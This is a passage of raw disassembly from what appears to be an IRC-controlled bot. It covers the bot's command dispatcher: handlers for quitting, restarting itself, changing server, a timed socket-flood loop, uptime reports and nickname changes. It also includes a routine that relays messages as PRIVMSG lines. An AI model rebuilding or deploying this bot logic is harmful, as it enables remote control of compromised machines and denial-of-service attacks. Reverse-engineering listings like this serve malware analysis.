dword_414CD0 jnz short loc_40807F mov eax, [ebp+arg_18] push dword ptr [eax+8] lea eax, [ebp+var_208] push dword ptr [esi+4] push eax call sub_401FA3 jmp loc_40836A ; --------------------------------------------------------------------------- loc_40807F: ; CODE XREF: sub_407A76+5EDj cmp edi, dword_414CC0 jnz short loc_4080A1 push dword ptr [esi+0Ch] lea eax, [ebp+var_208] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_40495C jmp loc_408A9C ; --------------------------------------------------------------------------- loc_4080A1: ; CODE XREF: sub_407A76+60Fj cmp edi, dword_414CB0 jnz short loc_4080C3 mov eax, [ebp+arg_18] push dword ptr [eax+8] lea eax, [ebp+var_208] push dword ptr [esi+4] push eax call sub_4110B4 jmp loc_40836A ; --------------------------------------------------------------------------- loc_4080C3: ; CODE XREF: sub_407A76+631j cmp edi, dword_414CA0 jnz short loc_4080F6 mov esi, [ebp+arg_18] mov eax, [esi+4] test eax, eax jz loc_408D69 push eax push 80000001h call sub_401000 push dword ptr [esi+4] push 80000002h call sub_401000 jmp loc_408A9C ; --------------------------------------------------------------------------- loc_4080F6: ; CODE XREF: sub_407A76+653j cmp edi, dword_414C90 jnz short loc_40810E mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40110A jmp loc_408D68 ; --------------------------------------------------------------------------- loc_40810E: ; CODE XREF: sub_407A76+686j cmp edi, dword_414C84 jnz short loc_40812F push 0 loc_408118: ; CODE XREF: sub_407A76+6C2j mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_208] push eax call sub_4014B0 jmp loc_40836A ; --------------------------------------------------------------------------- loc_40812F: ; CODE XREF: sub_407A76+69Ej cmp edi, dword_414C78 jnz short loc_40813A push eax jmp short loc_408118 ; --------------------------------------------------------------------------- loc_40813A: ; CODE XREF: sub_407A76+6BFj cmp edi, dword_414C6C jnz short loc_408153 lea eax, [ebp+var_208] push eax call sub_40719C jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408153: ; CODE XREF: sub_407A76+6CAj cmp edi, dword_414C64 jnz short loc_40816A push offset dword_41A2E8 push offset dword_414C54 jmp loc_40835E ; --------------------------------------------------------------------------- loc_40816A: ; CODE XREF: sub_407A76+6E3j cmp edi, dword_414C48 jnz short loc_408189 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_208] push eax call sub_40F6CD jmp loc_408D2E ; --------------------------------------------------------------------------- loc_408189: ; CODE XREF: sub_407A76+6FAj cmp edi, dword_414C3C jz loc_408D3D cmp edi, dword_414C30 jz loc_408D3D cmp edi, dword_414C24 jz loc_408D3D cmp edi, dword_414C14 jnz short loc_4081C6 lea eax, [ebp+var_208] push eax call sub_40F7FD jmp loc_408D68 ; --------------------------------------------------------------------------- loc_4081C6: ; CODE XREF: sub_407A76+73Dj cmp edi, dword_414C00 jnz short loc_408212 mov esi, [ebp+arg_18] mov eax, [esi+4] test eax, eax jz short loc_4081FE push eax call sub_41115C test eax, eax pop ecx jz loc_408D69 push 104h push dword ptr [esi+4] push offset dword_419FE0 call sub_4059C2 jmp loc_40836A ; --------------------------------------------------------------------------- loc_4081FE: ; CODE XREF: sub_407A76+760j push offset dword_419ECC push offset dword_419FE0 loc_408208: ; CODE XREF: sub_407A76+902j ; sub_407A76+112Aj call sub_4114B8 ; _mbscpy jmp loc_408D2E ; --------------------------------------------------------------------------- loc_408212: ; CODE XREF: sub_407A76+756j cmp edi, dword_414BF0 jnz short loc_40823D push dword ptr [esi+14h] lea eax, [ebp+var_208] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_40FBA7 loc_408235: ; CODE XREF: sub_407A76+587j ; sub_407A76+12E2j add esp, 18h jmp loc_408D69 ; --------------------------------------------------------------------------- loc_40823D: ; CODE XREF: sub_407A76+7A2j cmp edi, dword_414BE8 jnz loc_4082EA mov esi, [ebp+arg_18] xor ebx, ebx mov eax, [esi+4] cmp eax, ebx jz loc_408D69 push eax call sub_4114BE ; strlen shl eax, 1 push eax call sub_4114C4 ; malloc mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_408D69 push dword ptr [esi+4] call sub_4114BE ; strlen push eax push edi push dword ptr [esi+4] call sub_40A51A add esp, 10h lea eax, [ebp+var_208] push edi push offset dword_414BCC push eax call sub_4096CB push edi call sub_4114CA ; free mov esi, 1000h lea eax, [ebp+var_19E4] push esi push eax call sub_40B4D9 add esp, 18h call sub_4114E2 ; clock mov ebx, eax mov edi, 186A0h loc_4082C1: ; CODE XREF: sub_407A76+863j lea eax, [ebp+var_59E4] push esi push eax lea eax, [ebp+var_19E4] push eax call sub_40A51A add esp, 0Ch dec edi jnz short loc_4082C1 call sub_4114E2 ; clock sub eax, ebx push eax push offset aItTookMeUms_ ; "It took me %ums." jmp short loc_40835E ; --------------------------------------------------------------------------- loc_4082EA: ; CODE XREF: sub_407A76+7CDj cmp edi, dword_414BAC jnz short loc_408345 mov edi, [ebp+arg_18] xor ebx, ebx mov eax, [edi+4] cmp eax, ebx jz loc_408D69 push eax call sub_4114BE ; strlen push eax call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_408D69 push esi push dword ptr [edi+4] call sub_40A44E pop ecx mov [eax+esi], bl pop ecx lea eax, [ebp+var_208] push esi push offset dword_414B90 push eax call sub_4096CB push esi call sub_4114CA ; free jmp loc_408A9C ; --------------------------------------------------------------------------- loc_408345: ; CODE XREF: sub_407A76+87Aj cmp edi, dword_414B80 jnz short loc_40837D mov esi, [esi+4] test esi, esi jnz short loc_408372 push offset dword_41A2E8 push offset dword_414B6C loc_40835E: ; CODE XREF: sub_407A76+F0j ; sub_407A76+1E3j ... lea eax, [ebp+var_208] push eax call sub_4096CB loc_40836A: ; CODE XREF: sub_407A76+10Fj ; sub_407A76+5ABj ... add esp, 0Ch jmp loc_408D69 ; --------------------------------------------------------------------------- loc_408372: ; CODE XREF: sub_407A76+8DCj push esi push offset dword_41A2E8 jmp loc_408208 ; --------------------------------------------------------------------------- loc_40837D: ; CODE XREF: sub_407A76+8D5j cmp edi, dword_414B60 jnz short loc_408392 push dword ptr [esi+4] call sub_406EA9 jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408392: ; CODE XREF: sub_407A76+90Dj cmp edi, dword_414B54 jnz short loc_4083AE push dword ptr [esi+4] lea eax, [ebp+var_208] push eax call sub_4030A7 jmp loc_408D2E ; --------------------------------------------------------------------------- loc_4083AE: ; CODE XREF: sub_407A76+922j cmp edi, dword_414B44 jnz short loc_4083C3 push dword ptr [esi+4] call sub_406F84 jmp loc_408D68 ; --------------------------------------------------------------------------- loc_4083C3: ; CODE XREF: sub_407A76+93Ej cmp edi, dword_414B38 jnz short loc_4083E2 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_208] push eax call sub_404ACF jmp loc_408D2E ; --------------------------------------------------------------------------- loc_4083E2: ; CODE XREF: sub_407A76+953j cmp edi, dword_414B28 jnz short loc_4083FE push dword ptr [esi+4] lea eax, [ebp+var_208] push eax call sub_40EA2F jmp loc_408D2E ; --------------------------------------------------------------------------- loc_4083FE: ; CODE XREF: sub_407A76+972j cmp edi, dword_414B1C jnz short loc_408423 push dword ptr [esi+10h] lea eax, [ebp+var_208] push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_40756C jmp loc_408CFA ; --------------------------------------------------------------------------- loc_408423: ; CODE XREF: sub_407A76+98Ej cmp edi, dword_414B10 jnz short loc_408442 push dword ptr [esi+8] lea eax, [ebp+var_208] push dword ptr [esi+4] push eax call sub_40780C jmp loc_40836A ; --------------------------------------------------------------------------- loc_408442: ; CODE XREF: sub_407A76+9B3j cmp edi, dword_414B04 jnz short loc_408465 push offset dword_419ECC push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_4097DB pop ecx pop ecx push 36EE80h jmp loc_40851C ; --------------------------------------------------------------------------- loc_408465: ; CODE XREF: sub_407A76+9D2j cmp edi, dword_414AE4 jnz short loc_4084B3 mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz loc_408D69 mov edi, offset dword_418E50 push eax push edi call sub_4114B8 ; _mbscpy mov esi, [esi+8] pop ecx cmp esi, ebx pop ecx jnz short loc_408494 mov esi, offset byte_4191D0 loc_408494: ; CODE XREF: sub_407A76+A17j push esi mov esi, offset dword_41A0E8 push esi call sub_4114B8 ; _mbscpy pop ecx pop ecx push esi push edi loc_4084A4: ; CODE XREF: sub_407A76+A60j push offset dword_414AD8 call sub_4097DB jmp loc_40836A ; --------------------------------------------------------------------------- loc_4084B3: ; CODE XREF: sub_407A76+9F5j cmp edi, dword_414ACC jnz short loc_4084D8 mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz loc_408D69 mov esi, [esi+8] cmp esi, ebx jnz short loc_4084D4 mov esi, offset byte_4191D0 loc_4084D4: ; CODE XREF: sub_407A76+A57j push esi push eax jmp short loc_4084A4 ; --------------------------------------------------------------------------- loc_4084D8: ; CODE XREF: sub_407A76+A43j cmp edi, dword_414AC0 jnz short loc_4084F6 mov esi, [esi+4] test esi, esi jz loc_408D69 push esi push offset dword_414AB8 jmp loc_407B1B ; --------------------------------------------------------------------------- loc_4084F6: ; CODE XREF: sub_407A76+A68j cmp edi, dword_414AAC jnz short loc_408527 mov esi, [esi+4] test esi, esi jz loc_408D69 push esi call sub_41151C ; atoi cmp eax, 927C0h pop ecx jg loc_408D69 push eax loc_40851C: ; CODE XREF: sub_407A76+9EAj call dword_4120A4 ; Sleep jmp loc_408D69 ; --------------------------------------------------------------------------- loc_408527: ; CODE XREF: sub_407A76+A86j cmp edi, dword_414AA4 jnz short loc_408556 mov esi, [esi+4] xor ebx, ebx cmp esi, ebx jz loc_408D69 mov eax, [ebp+arg_18] mov eax, [eax+8] cmp eax, ebx jz loc_408D69 push eax push esi call sub_409659 jmp loc_408D2E ; --------------------------------------------------------------------------- loc_408556: ; CODE XREF: sub_407A76+AB7j cmp edi, dword_414A98 jnz short loc_408585 mov esi, [esi+4] xor ebx, ebx cmp esi, ebx jz loc_408D69 mov eax, [ebp+arg_18] mov eax, [eax+8] cmp eax, ebx jz loc_408D69 push eax push esi call sub_4095E7 jmp loc_408D2E ; --------------------------------------------------------------------------- loc_408585: ; CODE XREF: sub_407A76+AE6j cmp edi, dword_414A90 jnz short loc_4085A1 mov eax, [ebp+arg_18] mov eax, [eax+4] test eax, eax jz loc_408D69 push eax jmp loc_408D36 ; --------------------------------------------------------------------------- loc_4085A1: ; CODE XREF: sub_407A76+B15j cmp edi, dword_414A84 jnz short loc_4085EB mov esi, [esi+4] xor ebx, ebx cmp esi, ebx jnz short loc_4085CF cmp dword_4191D8, ebx mov eax, offset aOn ; "on" jnz short loc_4085C4 mov eax, offset aOff ; "off" loc_4085C4: ; CODE XREF: sub_407A76+B47j push eax push offset aDebugModeIsS_ ; "Debug mode is %s." jmp loc_40835E ; --------------------------------------------------------------------------- loc_4085CF: ; CODE XREF: sub_407A76+B3Aj push offset aOn ; "on" push esi call sub_411924 ; _strcmpi neg eax sbb eax, eax pop ecx inc eax pop ecx mov dword_4191D8, eax jmp loc_408D69 ; --------------------------------------------------------------------------- loc_4085EB: ; CODE XREF: sub_407A76+B31j cmp edi, dword_414A58 jnz short loc_408604 lea eax, [ebp+var_208] push eax call sub_410B3B jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408604: ; CODE XREF: sub_407A76+B7Bj cmp edi, dword_414A4C jnz short loc_408626 cmp dword ptr [esi+4], 0 jz loc_408D69 mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_414A44 jmp loc_407B1B ; --------------------------------------------------------------------------- loc_408626: ; CODE XREF: sub_407A76+B94j cmp edi, dword_414A38 jz loc_408D31 cmp edi, dword_414A2C jz loc_408D31 cmp edi, dword_414A24 jz loc_408D31 cmp edi, dword_414A18 jnz short loc_40869F lea eax, [ebp+var_364] push 104h xor ebx, ebx push eax push ebx call dword_412094 ; GetModuleHandleA push eax call dword_412098 ; GetModuleFileNameA push ebx push ebx lea eax, [ebp+var_364] push ebx push eax push offset aOpen ; "open" push ebx call dword_4121E4 cmp eax, 20h jbe loc_408D69 push offset aQuitRestarting ; "QUIT :restarting" call sub_4097DB pop ecx push ebx call dword_412064 ; ExitProcess loc_40869F: ; CODE XREF: sub_407A76+BDAj cmp edi, dword_414A0C jnz short loc_4086CD mov esi, [esi+4] test esi, esi jz loc_408D69 movzx eax, byte ptr [esi] push eax push eax push offset dword_4149DC loc_4086BC: ; CODE XREF: sub_407A76+E32j lea eax, [ebp+var_208] push eax call sub_4096CB jmp loc_408A9C ; --------------------------------------------------------------------------- loc_4086CD: ; CODE XREF: sub_407A76+C2Fj cmp edi, dword_4149CC jnz short loc_4086DF call sub_4052DF jmp loc_408D69 ; --------------------------------------------------------------------------- loc_4086DF: ; CODE XREF: sub_407A76+C5Dj cmp edi, dword_4149C4 jz loc_408D1C cmp edi, dword_4149B8 jz loc_408D1C cmp edi, dword_4149B0 jnz short loc_408716 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_208] push eax call sub_409149 jmp loc_408D2E ; --------------------------------------------------------------------------- loc_408716: ; CODE XREF: sub_407A76+C87j cmp edi, dword_4149A4 jz loc_408CFF cmp edi, dword_414994 jz loc_408CFF cmp edi, dword_41498C jnz loc_40883A xor ebx, ebx cmp [esi+4], ebx jnz short loc_408748 mov dword ptr [esi+4], offset byte_4191D0 loc_408748: ; CODE XREF: sub_407A76+CC9j lea eax, [ebp+arg_14] push eax push ebx push ebx push dword ptr [esi+4] call dword_419224 test eax, eax jnz loc_4088B3 mov eax, [ebp+arg_14] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40882C mov edi, 3E8h loc_408772: ; CODE XREF: sub_407A76+DB0j push 2 push ebx push ebx lea eax, [ebp+var_9E4] push 401h push eax mov eax, [ebp+arg_18] push dword ptr [eax+10h] push dword ptr [eax+18h] call dword_419228 test eax, eax jnz loc_40881B mov eax, [ebp+arg_18] mov ecx, [eax+4] cmp ecx, 2 jnz short loc_4087CE mov eax, [esi+4] cmp [eax], bl jnz short loc_4087B0 mov eax, offset dword_414988 loc_4087B0: ; CODE XREF: sub_407A76+D33j lea ecx, [ebp+var_9E4] push ecx push eax push offset dword_414964 loc_4087BD: ; CODE XREF: sub_407A76+D76j lea eax, [ebp+var_208] push eax call sub_4096CB add esp, 10h jmp short loc_408814 ; --------------------------------------------------------------------------- loc_4087CE: ; CODE XREF: sub_407A76+D2Cj mov eax, [esi+4] cmp ecx, 17h jnz short loc_4087EE cmp [eax], bl jnz short loc_4087DF mov eax, offset dword_414988 loc_4087DF: ; CODE XREF: sub_407A76+D62j lea ecx, [ebp+var_9E4] push ecx push eax push offset dword_414940 jmp short loc_4087BD ; --------------------------------------------------------------------------- loc_4087EE: ; CODE XREF: sub_407A76+D5Ej cmp [eax], bl jnz short loc_4087F7 mov eax, offset dword_414988 loc_4087F7: ; CODE XREF: sub_407A76+D7Aj lea edx, [ebp+var_9E4] push edx push ecx push eax lea eax, [ebp+var_208] push offset dword_41490C push eax call sub_4096CB add esp, 14h loc_408814: ; CODE XREF: sub_407A76+D56j push edi call dword_4120A4 ; Sleep loc_40881B: ; CODE XREF: sub_407A76+D1Dj mov eax, [ebp+arg_18] mov eax, [eax+1Ch] cmp eax, ebx mov [ebp+arg_18], eax jnz loc_408772 loc_40882C: ; CODE XREF: sub_407A76+CF1j push [ebp+arg_14] call dword_41922C jmp loc_408D69 ; --------------------------------------------------------------------------- loc_40883A: ; CODE XREF: sub_407A76+CBEj cmp edi, dword_414900 jnz short loc_4088C0 xor ebx, ebx cmp [esi+4], ebx jnz short loc_408850 mov dword ptr [esi+4], offset byte_4191D0 loc_408850: ; CODE XREF: sub_407A76+DD1j lea eax, [ebp+arg_18] push eax push ebx push ebx push dword ptr [esi+4] call dword_419224 test eax, eax jnz short loc_4088B3 push 4 push ebx push ebx lea eax, [ebp+var_9E4] push 401h push eax mov eax, [ebp+arg_18] push dword ptr [eax+10h] push dword ptr [eax+18h] call dword_419228 push [ebp+arg_18] test eax, eax jnz short loc_4088AD call dword_41922C mov esi, [esi+4] cmp [esi], bl jnz short loc_40889B mov esi, offset dword_414988 loc_40889B: ; CODE XREF: sub_407A76+E1Ej lea eax, [ebp+var_9E4] push eax push esi push offset dword_4148E4 jmp loc_4086BC ; --------------------------------------------------------------------------- loc_4088AD: ; CODE XREF: sub_407A76+E11j call dword_41922C loc_4088B3: ; CODE XREF: sub_407A76+CE3j ; sub_407A76+DEBj push dword ptr [esi+4] push offset dword_4148C8 jmp loc_40835E ; --------------------------------------------------------------------------- loc_4088C0: ; CODE XREF: sub_407A76+DCAj cmp edi, dword_4148B8 jnz loc_4089A3 mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz loc_408D69 push eax call sub_4114BE ; strlen cmp eax, 0Ah pop ecx jbe loc_408D69 push dword ptr [esi+4] call sub_4114BE ; strlen push 4 push offset a2002 ; "2002" push dword ptr [esi+4] mov edi, eax call sub_41178A ; memcmp add esp, 10h test eax, eax jnz loc_408996 mov eax, [esi+4] add eax, edi mov cl, [eax-9] mov byte ptr [ebp+var_10], cl mov cl, [eax-8] mov byte ptr [ebp+var_10+1], cl mov byte ptr [ebp+var_10+2], bl mov cl, [eax-7] mov byte ptr [ebp+var_10+3], cl mov cl, [eax-6] mov [ebp+var_C], cl mov [ebp+var_B], bl mov cl, [eax-4] mov [ebp+var_A], cl mov cl, [eax-3] mov [ebp+var_9], cl mov byte ptr [ebp+var_8], bl mov cl, [eax-2] mov byte ptr [ebp+var_8+1], cl mov al, [eax-1] mov byte ptr [ebp+var_8+2], al lea eax, [ebp+var_8+1] push eax mov byte ptr [ebp+var_8+3], bl call sub_4079AC pop ecx push eax lea eax, [ebp+var_A] push eax call sub_4079AC pop ecx push eax lea eax, [ebp+var_10+3] push eax call sub_4079AC pop ecx push eax lea eax, [ebp+var_10] push eax call sub_4079AC pop ecx push eax lea eax, [ebp+var_208] push dword ptr [esi+4] push offset dword_414880 push eax call sub_4096CB loc_40898E: ; CODE XREF: sub_407A76+55Fj add esp, 1Ch jmp loc_408D69 ; --------------------------------------------------------------------------- loc_408996: ; CODE XREF: sub_407A76+E91j push dword ptr [esi+4] push offset dword_414864 jmp loc_40835E ; --------------------------------------------------------------------------- loc_4089A3: ; CODE XREF: sub_407A76+E50j cmp edi, dword_414858 jnz loc_408A67 call sub_4114E2 ; clock mov [ebp+arg_0], eax xor ebx, ebx push 10h lea eax, [ebp+var_14] push ebx push eax mov [ebp+arg_14], ebx mov byte ptr [ebp+arg_18+3], bl call sub_4114E8 ; memset add esp, 0Ch mov [ebp+var_14], 2 call sub_4114E2 ; clock sub eax, [ebp+arg_0] mov edi, 3E8h cmp eax, edi jnb short loc_408A54 loc_4089E5: ; CODE XREF: sub_407A76+FD2j push 0FFFFh push 1 call sub_40B459 pop ecx pop ecx push eax call dword_412248 ; htons push 4 push ebx mov [ebp+var_12], ax call sub_4031A7 pop ecx mov [ebp+var_10], eax pop ecx push ebx push 2 push 2 call dword_41222C ; socket mov esi, eax lea eax, [ebp+var_14] push 10h push eax push esi call dword_412208 ; connect push ebx lea eax, [ebp+arg_18+3] push 1 push eax push esi call dword_412220 ; send push esi call dword_412240 ; closesocket add [ebp+arg_14], 2Bh call sub_4114E2 ; clock sub eax, [ebp+arg_0] cmp eax, edi jb short loc_4089E5 mov eax, [ebp+arg_14] cmp eax, 400h ja short loc_408A59 loc_408A54: ; CODE XREF: sub_407A76+F6Dj mov eax, 400h loc_408A59: ; CODE XREF: sub_407A76+FDCj shr eax, 0Ah push eax push offset dword_414840 jmp loc_40835E ; --------------------------------------------------------------------------- loc_408A67: ; CODE XREF: sub_407A76+F33j cmp edi, dword_414838 jz loc_408CDD cmp edi, dword_41482C jz loc_408CDD cmp edi, dword_414820 jnz short loc_408AA4 push dword ptr [esi+0Ch] lea eax, [ebp+var_208] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_40F908 loc_408A9C: ; CODE XREF: sub_407A76+626j ; sub_407A76+67Bj ... add esp, 10h jmp loc_408D69 ; --------------------------------------------------------------------------- loc_408AA4: ; CODE XREF: sub_407A76+100Fj cmp edi, dword_414818 jz loc_408CCC cmp edi, dword_41480C jz loc_408CCC cmp edi, dword_414804 jz loc_408CBB cmp edi, dword_4147F8 jz loc_408CBB cmp edi, dword_4147E8 jnz short loc_408B13 push eax push offset a9252 ; "9252" call sub_403644 pop ecx mov esi, eax pop ecx lea eax, [ebp+var_208] push esi push offset dword_413B64 push eax call sub_4096CB add esp, 0Ch test esi, esi jz loc_408D69 push esi call sub_40392A jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408B13: ; CODE XREF: sub_407A76+1064j cmp edi, dword_4147D4 jnz short loc_408B2C lea eax, [ebp+var_208] push eax call sub_406A08 jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: sub_407A76+10A3j cmp edi, dword_4147CC jz short loc_408BA5 cmp edi, dword_4147C0 jz short loc_408BA5 cmp edi, dword_4147B8 jnz loc_408D69 mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz loc_408D69 cmp [esi+8], ebx jz loc_408D69 push 2 push offset aId ; "id" push eax call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_408B81 push dword ptr [esi+8] push offset byte_41A268 call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_408B81: ; CODE XREF: sub_407A76+10FAj push offset aUsername ; "username" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_408D69 push dword ptr [esi+8] push offset byte_41A3E8 jmp loc_408208 ; --------------------------------------------------------------------------- loc_408BA5: ; CODE XREF: sub_407A76+10BCj ; sub_407A76+10C4j mov esi, [esi+4] xor ebx, ebx cmp esi, ebx jz short loc_408BBA push esi call sub_41151C ; atoi pop ecx mov [ebp+arg_14], eax jmp short loc_408BBD ; --------------------------------------------------------------------------- loc_408BBA: ; CODE XREF: sub_407A76+1136j mov [ebp+arg_14], ebx loc_408BBD: ; CODE XREF: sub_407A76+1142j call sub_406AB7 mov edi, 15180h xor edx, edx mov esi, edi mov ecx, eax div esi xor edx, edx mov esi, 0E10h mov ebx, esi push 3Ch mov [ebp+arg_18], eax mov eax, ecx mov ecx, edi div ecx mov ecx, edx xor edx, edx mov eax, ecx div ebx xor edx, edx mov [ebp+var_8], eax mov eax, ecx mov ecx, esi div ecx pop ecx mov eax, edx xor edx, edx div ecx mov [ebp+var_1C], eax mov eax, [ebp+arg_14] cmp [ebp+arg_18], eax jb loc_408D69 call sub_406B29 xor edx, edx mov ebx, edi mov ecx, eax push 3Ch div ebx xor edx, edx mov [ebp+arg_10], eax mov eax, ecx div edi mov edi, esi mov ecx, edx xor edx, edx mov eax, ecx div edi xor edx, edx mov [ebp+arg_8], eax mov eax, ecx div esi pop ecx push 1 mov eax, edx xor edx, edx div ecx mov edx, offset byte_4191D0 mov ecx, offset dword_4141FC mov [ebp+arg_14], edx mov ebx, eax pop eax cmp ebx, eax jz short loc_408C57 mov [ebp+arg_14], ecx loc_408C57: ; CODE XREF: sub_407A76+11DCj cmp [ebp+arg_8], eax mov [ebp+arg_0], edx jz short loc_408C62 mov [ebp+arg_0], ecx loc_408C62: ; CODE XREF: sub_407A76+11E7j cmp [ebp+arg_10], eax mov [ebp+arg_C], edx jz short loc_408C6D mov [ebp+arg_C], ecx loc_408C6D: ; CODE XREF: sub_407A76+11F2j cmp [ebp+var_1C], eax mov edi, edx jz short loc_408C76 mov edi, ecx loc_408C76: ; CODE XREF: sub_407A76+11FCj cmp [ebp+var_8], eax mov esi, edx jz short loc_408C7F mov esi, ecx loc_408C7F: ; CODE XREF: sub_407A76+1205j cmp [ebp+arg_18], eax jnz short loc_408C86 mov ecx, edx loc_408C86: ; CODE XREF: sub_407A76+120Cj push [ebp+arg_14] lea eax, [ebp+var_208] push ebx push [ebp+arg_0] push [ebp+arg_8] push [ebp+arg_C] push [ebp+arg_10] push edi push [ebp+var_1C] push esi push [ebp+var_8] push ecx push [ebp+arg_18] push offset dword_414734 push eax call sub_4096CB add esp, 38h jmp loc_408D69 ; --------------------------------------------------------------------------- loc_408CBB: ; CODE XREF: sub_407A76+104Cj ; sub_407A76+1058j lea eax, [ebp+var_208] push eax call sub_40677A jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408CCC: ; CODE XREF: sub_407A76+1034j ; sub_407A76+1040j lea eax, [ebp+var_208] push eax call sub_4062CF jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408CDD: ; CODE XREF: sub_407A76+FF7j ; sub_407A76+1003j push offset dword_418FD0 push 3AEh push 0 lea eax, [ebp+var_208] push offset dword_414710 push eax call sub_4096CB loc_408CFA: ; CODE XREF: sub_407A76+9A8j add esp, 14h jmp short loc_408D69 ; --------------------------------------------------------------------------- loc_408CFF: ; CODE XREF: sub_407A76+CA6j ; sub_407A76+CB2j push offset aQuitChangingSe ; "QUIT :changing server" call sub_4097DB push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] call sub_409522 jmp loc_408A9C ; --------------------------------------------------------------------------- loc_408D1C: ; CODE XREF: sub_407A76+C6Fj ; sub_407A76+C7Bj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_208] push eax call sub_4018D5 loc_408D2E: ; CODE XREF: sub_407A76+AAj ; sub_407A76+29Dj ... pop ecx jmp short loc_408D68 ; --------------------------------------------------------------------------- loc_408D31: ; CODE XREF: sub_407A76+BB6j ; sub_407A76+BC2j ... push offset aQuitExitting ; "QUIT :exitting" loc_408D36: ; CODE XREF: sub_407A76+B26j call sub_4097DB jmp short loc_408D68 ; --------------------------------------------------------------------------- loc_408D3D: ; CODE XREF: sub_407A76+719j ; sub_407A76+725j ... push dword ptr [esi+14h] lea eax, [ebp+var_208] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_40F2C2 jmp loc_408235 ; --------------------------------------------------------------------------- loc_408D5D: ; CODE XREF: sub_407A76+5B6j ; sub_407A76+5C2j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_409843 loc_408D68: ; CODE XREF: sub_407A76+71j ; sub_407A76+2B6j ... pop ecx loc_408D69: ; CODE XREF: sub_407A76+DEj ; sub_407A76+12Aj ... pop edi pop esi pop ebx leave retn sub_407A76 endp ; =============== S U B R O U T I N E ======================================= sub_408D6E proc near ; CODE XREF: sub_408E1A+320p arg_0 = dword ptr 4 mov eax, [esp+arg_0] loc_408D72: ; CODE XREF: sub_408D6E+10j mov cl, [eax] cmp cl, 20h jnz short locret_408D80 test cl, cl jz short locret_408D80 inc eax jmp short loc_408D72 ; --------------------------------------------------------------------------- locret_408D80: ; CODE XREF: sub_408D6E+9j ; sub_408D6E+Dj retn sub_408D6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408D81 proc near ; DATA XREF: sub_409149+4Eo var_52C = byte ptr -52Ch var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_187 = byte ptr -187h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 52Ch push esi push 327h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_4] mov esi, offset asc_414F50 ; ";" push eax lea eax, [ebp+var_328] push esi push eax call sub_405E4F add esp, 1Ch loc_408DC0: ; CODE XREF: sub_408D81+84j test eax, eax jz short loc_408E07 loc_408DC4: ; CODE XREF: sub_408D81+49j cmp byte ptr [eax], 20h jnz short loc_408DCC inc eax jmp short loc_408DC4 ; --------------------------------------------------------------------------- loc_408DCC: ; CODE XREF: sub_408D81+46j push eax lea eax, [ebp+var_187] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" lea eax, [ebp+var_52C] push 200h push eax call sub_41152E ; _snprintf lea eax, [ebp+var_52C] push eax call sub_40A236 lea eax, [ebp+var_4] push eax push esi push 0 call sub_405E4F add esp, 24h jmp short loc_408DC0 ; --------------------------------------------------------------------------- loc_408E07: ; CODE XREF: sub_408D81+41j push [ebp+var_32C] call sub_406E6F pop ecx xor eax, eax pop esi leave retn 4 sub_408D81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E1A proc near ; CODE XREF: sub_409149+6p var_1D4 = byte ptr -1D4h var_54 = byte ptr -54h var_34 = byte ptr -34h var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1D4h push ebx push esi mov esi, [ebp+arg_0] push edi test esi, esi jz loc_409142 cmp byte ptr [esi], 28h jnz loc_409142 inc esi push offset asc_414FB8 ; ")" push esi call sub_411528 ; strstr pop ecx mov [ebp+var_4], eax test eax, eax pop ecx jz loc_409142 sub eax, esi lea ecx, [eax+1] mov eax, 180h cmp ecx, eax ja short loc_408E63 mov eax, ecx loc_408E63: ; CODE XREF: sub_408E1A+45j push eax lea eax, [ebp+var_1D4] push esi push eax call sub_4059C2 push 1 lea eax, [ebp+var_1D4] push 1 push eax call sub_405AD6 lea eax, [ebp+arg_0] mov ebx, offset asc_414FB4 ; "&&" push eax lea eax, [ebp+var_1D4] push ebx push eax call sub_405E4F add esp, 24h loc_408E9A: ; CODE XREF: sub_408E1A+316j test eax, eax jz loc_409135 loc_408EA2: ; CODE XREF: sub_408E1A+8Ej cmp byte ptr [eax], 20h jnz short loc_408EAA inc eax jmp short loc_408EA2 ; --------------------------------------------------------------------------- 